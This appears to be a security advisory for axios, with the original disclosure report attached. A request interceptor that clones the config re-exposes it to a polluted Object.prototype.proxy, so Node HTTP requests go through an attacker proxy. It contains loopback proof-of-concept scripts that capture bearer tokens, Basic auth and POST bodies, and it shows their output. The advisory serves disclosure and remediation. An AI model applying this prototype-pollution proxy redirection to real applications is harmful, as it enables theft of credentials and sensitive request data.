Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

Summary

Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.

Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.

The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.

This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.

Affected Functionality

Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.

The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.

Technical Details

lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.

lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.

lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.

lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.

Proof of Concept of Attack

import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"server":"proxy"}');
  });
});

Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: proxy.address().port
};

const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

try {
  const url = `http://127.0.0.1:${target.address().port}/api/secret`;

  const res = await api.post(
    url,
    {secret: 'request-body-secret'},
    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
  );

  console.log({
    response: res.data,
    targetHits,
    proxyHits,
    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
  });
} finally {
  delete Object.prototype.proxy;
  await close(target);
  await close(proxy);
}

Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.

Workarounds

Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.

Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.

Use the Node fetch adapter for affected requests where its behavior is compatible with the application.

<details> <summary>Original Report</summary>

Summary

Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config.

Verified local impact:

• Authenticated request redirection to attacker-controlled proxy.
• Disclosure of explicit Authorization headers.
• Disclosure of axios-generated Basic auth headers from config.auth.
• Disclosure of request metadata: method, absolute URL, Host header.
• Disclosure of POST body content.

This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.

Affected component

The affected component is the Node.js HTTP adapter request path after request interceptors have run.

The issue requires:

• Node.js HTTP adapter usage.
• A polluted Object.prototype.proxy.
• A request interceptor that returns a plain object copy of the config.
• No own proxy: false or safe own proxy property on the request config.

Affected versions

Confirmed affected for this specific hardening-bypass variant:

• axios@1.15.2
• axios@1.16.0

axios@1.16.0 was the latest published version observed via npm view axios version during validation.

Related older behavior observed during testing:

• 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.

Root cause

1. Initial hardening

   Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25

2. Interceptor re-materialization

   Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218

3. No post-interceptor re-hardening

   Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48

4. Prototype-chain read of proxy in the Node adapter

   The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820

Why this is a security issue and not intended behavior

Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.

This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.

Realistic threat model

A realistic exploit chain is:

1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
4. The application sends an HTTP request with credentials or sensitive body data.
5. Axios routes that request through the inherited proxy configuration.

This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.

Proof of concept

Save as poc.mjs in the axios repository root:

  import axios from './index.js';
  import http from 'node:http';

  const proxyEnvKeys = [
    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
    'http_proxy', 'https_proxy', 'all_proxy',
    'NO_PROXY', 'no_proxy'
  ];

  for (const key of proxyEnvKeys) delete process.env[key];

  const listen = (handler) => new Promise((resolve, reject) => {
    const server = http.createServer(handler);
    server.once('error', reject);
    server.listen(0, '127.0.0.1', () => resolve(server));
  });

  const close = (server) => new Promise((resolve) => server.close(resolve));

  const targetHits = [];
  const proxyHits = [];

  const target = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      targetHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'target'}));
    });
  });

  const proxy = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      proxyHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        host: req.headers.host || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'proxy'}));
    });
  });

  Object.prototype.proxy = {
    protocol: 'http',
    host: '127.0.0.1',
    port: proxy.address().port
  };

  const api = axios.create();

  api.interceptors.request.use((config) => ({
    ...config,
    headers: {
      ...config.headers,
      'X-App': 'demo'
    }
  }));

  try {
    const url = `http://127.0.0.1:${target.address().port}/api/secret`;

    const explicit = await api.get(url, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const basic = await api.get(url, {
      auth: {username: 'svc-account', password: 'prod-secret'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const post = await api.post(url, {secret: 'request-body-secret'}, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    console.log(JSON.stringify({
      explicitResponse: explicit.data,
      basicResponse: basic.data,
      postResponse: post.data,
      targetHits,
      proxyHits,
      finalConfigPrototype:
        Object.getPrototypeOf(post.config) === Object.prototype
          ? 'Object.prototype'
          : 'other',
      finalConfigHasOwnProxy:
        Object.prototype.hasOwnProperty.call(post.config, 'proxy')
    }, null, 2));
  } finally {
    delete Object.prototype.proxy;
    await close(target);
    await close(proxy);
  }

Run:

  npm ci
  node poc.mjs

Observed results

Representative observed output from local loopback testing:

  {
    "explicitResponse": {"server": "proxy"},
    "basicResponse": {"server": "proxy"},
    "postResponse": {"server": "proxy"},
    "targetHits": [],
    "proxyHits": [
      {
        "url": "http://127.0.0.1:40613/api/secret",
        "method": "POST",
        "authorization": "Bearer EXPLICIT_SECRET",
        "host": "127.0.0.1:40613",
        "body": "{\"secret\":\"request-body-secret\"}"
      }
    ],
    "finalConfigPrototype": "Object.prototype",
    "finalConfigHasOwnProxy": false
  }

  Additional validation showed axios-generated Basic auth is also disclosed to the proxy:

  {
    "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
  }

That value decodes to:

svc-account:prod-secret

Negative controls were also tested:

• No interceptor: target receives request, proxy receives none.
• Interceptor mutating and returning the same config object: proxy receives none.
• Own proxy: false: proxy receives none.
• Null-prototype clone interceptor: proxy receives none.
• Fetch adapter in Node with the same interceptor: proxy receives none.

Suggested remediation

Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.

A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.

Minimal regression test

Add an end-to-end Node HTTP adapter test that:

1. Starts a target server and attacker proxy on 127.0.0.1.
2. Sets Object.prototype.proxy to the attacker proxy.
3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
4. Sends a request with an Authorization header.
5. Asserts the target server receives the request.
6. Asserts the attacker proxy receives no request.
7. Asserts the final config no longer exposes inherited proxy.

A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.

References / permalinks

• mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
• Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199
• Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
• dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
• Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
• Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144
• Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135

</details>